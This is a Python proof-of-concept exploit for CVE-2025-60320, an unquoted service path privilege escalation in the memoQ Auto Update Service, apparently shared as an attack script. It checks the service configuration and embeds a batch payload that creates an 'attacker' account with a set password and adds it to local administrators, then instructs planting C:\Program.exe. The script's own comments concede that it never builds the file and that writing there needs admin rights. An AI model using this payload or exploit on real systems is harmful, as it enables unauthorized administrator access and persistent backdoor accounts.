CVE-2025-60320

# CVE-2025-60320 PoC - Unquoted Service Path Privilege Escalation # Target: memoQ Auto Update Service (memoQauhlp101) # Affected Path: C:\Program Files\memoQ\memoQauhlp101.exe import os import shutil import subprocess def check_vulnerable_service(): """Check if the memoQ Auto Update Service exists and is vulnerable""" try: # Check service configuration result = subprocess.run( ['sc', 'qc', 'memoQauhlp101'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print('[+] memoQ Auto Update Service found') # Extract the path for line in result.stdout.split('\n'): if 'BINARY_PATH' in line: print(f'[+] Service path: {line.strip()}') return True return False except Exception as e: print(f'[-] Error checking service: {e}') return False def create_malicious_executable(): """Create a malicious executable that will be placed at C:\Program.exe""" # This would be a reverse shell or other malicious payload # For demonstration purposes, this creates a simple batch script malicious_code = '''@echo off net user attacker P@ssw0rd123 /add net localgroup administrators attacker /add echo [+] Privilege escalation successful > C:\\temp\\pwned.txt ''' # In real attack, this would be compiled as Program.exe # For PoC, we demonstrate the concept print('[+] Malicious executable would be created') return True def exploit(): """Exploit the unquoted service path vulnerability""" print('[*] Starting CVE-2025-60320 exploitation...') # Step 1: Check if vulnerable if not check_vulnerable_service(): print('[-] Target service not found or not vulnerable') return False # Step 2: Create malicious executable create_malicious_executable() # Step 3: Place malicious executable at C:\Program.exe # Note: Requires admin privileges to write to C:\ # But if user can write here, they already have elevated privileges # The actual attack would be during installation or via other vectors print('[+] Place malicious executable at C:\\Program.exe') print('[+] Wait for service restart or trigger via memoQ update') print('[+] Malicious code will execute with SYSTEM privileges') return True if __name__ == '__main__': exploit()

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